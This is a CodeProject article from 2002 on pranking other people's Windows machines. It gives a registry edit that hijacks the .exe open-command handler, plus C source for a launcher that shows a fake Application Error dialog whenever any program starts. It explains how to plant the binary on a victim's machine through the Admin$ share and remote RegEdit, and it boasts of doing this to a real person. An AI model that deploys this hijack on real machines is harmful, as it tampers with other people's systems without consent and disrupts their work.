Click here to Skip to main content
Licence Ms-PL
First Posted 28 May 2002
Views 87,931
Bookmarked 33 times

Application Terror

How to (really) annoy your friends and foes or even your boss.

Sample Image - Application_Terror.jpg

Being Bad

If you ever wanted to annoy someone really, here is a way to do it. Windows stores for .exe files a registry key which specifies what to do with a ".exe" file. It is located at HKEY_CLASSES_ROOT\exefile\shell\open\command and normally contains the value "%1" %* which just means: do what the first parameter specifies and pass the rest of the parameters as new parameters. As you may know, the first parameter is the full name of the .exe file to be executed.

And here we start with our nasty trick. We redirect the command line to our "application". We do this by modifying the registry key:

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"aelaunch.exe\" %1 %*"

You see already that our application is named AELAUNCH.EXE (you can give it any name) and takes some parameters.

The Bad One

Well, from now on, any application seems to generate an application error but still continues to run somehow.

The application is no miracle, it doesn't need nor use MFC. The whole code is just about 50 lines including comments. The main function is:

int APIENTRY _tWinMain(HINSTANCE hInst, 
   HINSTANCE,LPTSTR lpCmdLine, int nCmdShow)
{
    if (lpCmdLine[0] != '\0') // we have a command line?
    {
        LPSTR p = lpCmdLine;
        while(*p)
        {
            if(*p == '\"') // lets get rid of any quotes
                *p = ' ';
            p++;
        }
        // ::MessageBox(NULL, lpCmdLine, "Commandline", MB_OK);
        WinExec(lpCmdLine, nCmdShow);
    }

    DialogBox(hInst, (LPCTSTR)IDD_APPLICATIONTERROR_DIALOG, 
                                   NULL, (DLGPROC)DialogProc);
    
    return 0;
}

It uses the "obsolete" function WinExec() just because it's convenient and works perfectly. Using CreateProcess() or ShellExecute() would cause far too much trouble.

As you see, the application checks for a command line, replaces any existing quote characters with spaces (we really don't need them here anymore) and passes the command line to WinExec.

When WinExec returns (as soon as the starting application calls the first time, GetMessage()), the application shows a dialog which happen to look like the well known Application Error dialog. :-)

Relax and Enjoy

Now you may wonder how this will annoy anyone? Remember a default share called Admin$? And do you remember that RegEdit can connect to other machines? Bingo, just copy the executable to your victim's Admin$\system32 directory, run RegEdit and modify the registry of the victim's machine. Here you go...

Try it and smile, while making a mental list of who will be the next target for aelaunch.exe.

The last one whom I targeted with it suffered 2 days until he found what I did. It was a well done payback.

License

This article, along with any associated source code and files, is licensed under The Microsoft Public License (Ms-PL)

About the Author

Andreas Saurwein Franci Gonçalves

CEO
Uniwares Ltda.
Brazil Brazil

Member



Sign Up to vote   Poor Excellent
Add a reason or comment to your vote: x
Votes of 3 or less require a comment

Comments and Discussions

 
You must Sign In to use this message board. (secure sign-in)
 
Search this forum  
 FAQ
    Noise  Layout  Per page   
  Refresh
GeneralCompiling error.... PinmemberPiccinano23:16 19 Feb '03  
GeneralRe: Compiling error.... PinmemberAndreas Saurwein23:30 19 Feb '03  
GeneralIt can be useful! Pinmembervboctor18:33 6 Nov '02  
GeneralRe: It can be useful! PinmemberAndreas Saurwein2:23 7 Nov '02  
GeneralVirus PinmemberAnonymous15:27 3 Jun '02  
GeneralRe: Virus PinmemberPhilippe Lhoste3:27 4 Jun '02  
GeneralRe: Virus PinmemberAndreas Saurwein3:37 4 Jun '02  
GeneralRe: Virus (are you insane??) PinmemberPanchote18:40 6 Mar '04  
GeneralHeh PinmemberMatt Philmon16:49 29 May '02  
GeneralRe: Heh PinmemberAndreas Saurwein21:21 29 May '02  
GeneralKewl! PinmemberShog915:09 29 May '02  
GeneralRe: Kewl! PinmemberNish - Native CPian15:23 29 May '02  
GeneralRe: Kewl! PinmemberAndreas Saurwein21:24 29 May '02  
GeneralAnother idea PinmemberNish - Native CPian15:14 29 May '02  
GeneralRe: Another idea PinmemberAndreas Saurwein21:31 29 May '02  
GeneralHey :-) PinmemberNish - Native CPian15:07 29 May '02  
GeneralRe: Hey :-) PinmemberShog915:19 29 May '02  
GeneralRe: Hey :-) PinmemberNish - Native CPian15:22 29 May '02  
GeneralRe: Hey :-) PinmemberShog915:29 29 May '02  
GeneralRe: Hey :-) PinmemberNish - Native CPian15:37 29 May '02  
GeneralRe: Hey :-) PinmemberShog915:40 29 May '02  
GeneralRe: Hey :-) Pinmemberpeterchen1:08 30 May '02  
GeneralRe: Hey :-) PinmemberNinja-the-Nerd14:58 14 Dec '06  
GeneralBad PinmemberThomas Freudenberg13:46 29 May '02  
GeneralRe: Bad PinmemberAndreas Saurwein21:19 29 May '02  

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.

Permalink | Advertise | Privacy | Mobile
Web04 | 2.5.120517.1 | Last Updated 29 May 2002
Article Copyright 2002 by Andreas Saurwein Franci Gonçalves
Everything else Copyright © CodeProject, 1999-2012
Terms of Use
Layout: fixed | fluid